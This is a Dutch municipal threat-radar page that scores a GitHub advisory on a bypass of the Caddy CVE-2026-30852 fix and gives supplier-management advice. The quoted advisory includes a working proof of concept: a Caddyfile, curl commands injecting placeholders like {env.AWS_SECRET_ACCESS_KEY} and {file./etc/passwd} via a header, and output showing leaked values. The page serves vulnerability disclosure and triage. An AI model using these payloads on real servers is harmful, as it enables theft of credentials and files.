Gemeente Cyber Dreigingsradar
Kritiek
Terug naar het overzicht
MiddenLeveranciersincidentGitHub Security Advisories

Caddy CVE-2026-30852 Fix Bypass

Caddy CVE-2026-30852 Fix Bypass

Prioriteit & onderbouwing

39 / 100

Prioriteit: Laag

Monitoren

Laag (39/100): monitoren. Zwaarst wegend: technische ernst en betrouwbaarheid van het signaal.

Threat Score42 / 100

midden

  • Technische ernst (severity): Genormaliseerde ernst 'medium'; geen CVSS-score beschikbaar.
Exploit Score10 / 100

laag

  • Geen exploit bekend: Er is geen exploit of actief misbruik bekend.
Municipal Relevance Score35 / 100

midden

  • Gemeentelijke relevantie: Relevantiescore 35/100 uit de relevantie-engine (module 5).
Action Urgency Score39 / 100

midden

  • Technische ernst: Threat Score 42/100 x gewicht 25%.
  • Exploitatie: Exploit Score 10/100 x gewicht 25%.
  • Gemeentelijke relevantie: Relevantiescore 35/100 x gewicht 22%.
  • Betrouwbaarheid van het signaal: Confidence 'likely' x gewicht 12%.
  • Blootstellingskans: Geschatte blootstelling 30% x gewicht 10%.
  • Betrouwbaarheid van de bron: Bronbetrouwbaarheid 88% x gewicht 6%.

De priority_score is de Action Urgency Score: een gewogen combinatie van de technische ernst, de exploitatie en de gemeentelijke relevantie.

Toelichting

# ## TL;DR CVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header → Caddy expands it on the second pass → secrets leaked in response headers. **Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix. ## Root Cause `modules/caddyhttp/vars.go`, lines 215-217: ```go valExpanded = varStr if !fromPlaceholder { valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION } ``` Same issue at line 358-360 in `MatchVarsRE`. `fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`. ### Expansion chain: 1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}` 2. Request header: `X-Tenant-ID: {env.SECRET}` 3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "")` → resolves to literal string `{env.SECRET}`. Stored in vars map. 4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll("{env.SECRET}", "")` → resolves to the actual secret value. 5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`. ## Impact - **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc. - **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}` - **System info:** `{system.hostname}`, `{system.os}` - **Full env dump in one request:** `{file./proc/self/environ}` ## Realistic Attack Scenario API gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing. ``` # Caddyfile :8080 { vars tenant_id {http.request.header.X-Tenant-ID} @has_tenant vars_regexp tenant tenant_id (.+) handle @has_tenant { header X-Tenant-ID "{re.tenant.1}" reverse_proxy tenant-backend:8080 } respond "Missing X-Tenant-ID header" 400 } ``` ``` # docker-compose.yml services: caddy: image: caddy:2.11.2 ports: - "8080:8080" volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro environment: - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345 - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY ``` Attacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}` Response contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY` ## Reproduce ```bash docker compose up -d sleep 2 # Normal request — works as expected curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: acme-corp # Leak env var via response header curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 # Leak AWS credentials curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # Read arbitrary file curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant # Dump ALL env vars (Linux) curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/ ``` ## Confirmed Test Output (Caddy v2.11.2) ``` $ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: acme-corp X-Routed-To: tenant-acme-corp $ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345 $ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Onderbouwing van de classificatie

Categorie 'supplier_incident' overgenomen van de bron; geen specifieker incidenttype gedetecteerd. Severity 'medium' bepaald op basis van: bronlabel 'medium'. Confidence 'likely': gerenommeerd securityonderzoek (GitHub Security Advisories). Herkende leveranciers/producten: Linux.

Kwetsbaarheden

Geen CVE toegekendPrioriteitsscore 0.0 / 100
CVSS
EPSS
KEV
Nee
go

Gemeentelijke relevantie

35

Deze dreiging scoort 35/100 voor de gemeentelijke relevantie. Meegewogen: getroffen internetgerichte technologie en een leveranciers- of ketenrisico. Geraakte processen: Leveranciersketen.

Bestuurlijke duiding

Deze dreiging is relevant voor de gemeente. Omdat het een leverancier betreft, is de gemeente afhankelijk van diens herstel en is regie op de keten nodig. De impact is beheersbaar mits de geadviseerde maatregelen tijdig worden opgevolgd. Laat de CISO de voortgang bewaken en escaleer richting directie zodra nieuwe signalen daartoe aanleiding geven.

Geraakte processen

Leveranciersketen

Geraakte technologie

Linuxgithub.com/caddyserver/caddy/v2go

Betrokken rollen

CISO · ISO · Leveranciersmanager

Operationele acties

  • Inventariseer welke koppelingen en gegevensstromen met de leverancier lopen.
  • Schakel waar nodig de koppeling met de leverancier tijdelijk uit.
  • Vraag bewijs van herstel op voordat de dienstverlening wordt hervat.

Concrete stappen voor ICT-beheer en het securityteam.

Aanbevolen acties

  • Breng in kaart welke leveranciers en koppelingen zijn geraakt.
  • Vraag de leverancier om een statusupdate en een herstelplan.
  • Beoordeel de impact op de eigen dienstverlening.

Dit zijn algemene handelingsperspectieven. Stem de opvolging af op de eigen omgeving en het ISMS van uw gemeente.

Kenmerken

Ernst
Midden
Categorie
Leveranciersincident
Zekerheid
Waarschijnlijk
Status
Verrijkt
CVE's
Geen
Prioriteitsscore
39 / 100 · Laag
Bron
GitHub Security Advisories
Gepubliceerd
19 mei 2026

Labels

Supply chainOpensourceLinux
Originele publicatie